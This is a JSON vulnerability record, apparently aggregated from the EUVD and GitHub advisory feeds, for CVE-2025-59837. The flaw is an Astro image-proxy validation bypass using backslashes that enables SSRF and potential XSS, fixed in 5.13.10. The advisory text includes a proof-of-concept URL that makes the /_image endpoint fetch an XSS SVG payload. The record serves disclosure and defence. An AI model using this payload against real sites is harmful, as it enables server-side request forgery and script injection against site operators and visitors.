{"id":"EUVD-2025-36542","revision":null,"records":[{"revision":"14330bc17f2b4f53befea75a61c33c3f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-59837","aliases":[],"title":"astro allows bypass of image proxy domain validation leading to SSRF and potential XSS","description":"Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. 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Fixed in 5.13.10.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"severity":null}],"references":["https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2","https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4","https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-36542","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 28, 2025, 7:54:28 PM","dateUpdated":"Oct 29, 2025, 5:42:43 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-59837","identifiers":["CVE-2025-59837"]},"retained":false,"historicalAffected":[]},{"revision":"1b4cf9947aa445c8b98641a89a73fd35","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qcpr-679q-rhm2","aliases":["CVE-2025-59837"],"title":"Astro's bypass of image proxy domain validation leads to SSRF and potential XSS","description":"### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)","state":0,"publishedAt":"2025-10-28T17:45:04+00:00","modifiedAt":"2025-10-29T14:48:45+00:00","affected":[{"ecosystem":"npm","name":"astro","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.13.4"},{"kind":"fixed","version":"5.13.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2","https://nvd.nist.gov/vuln/detail/CVE-2025-59837","https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4","https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252","https://github.com/withastro/astro"],"sourceUrl":"https://github.com/advisories/GHSA-qcpr-679q-rhm2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qcpr-679q-rhm2","identifiers":["GHSA-qcpr-679q-rhm2","CVE-2025-59837"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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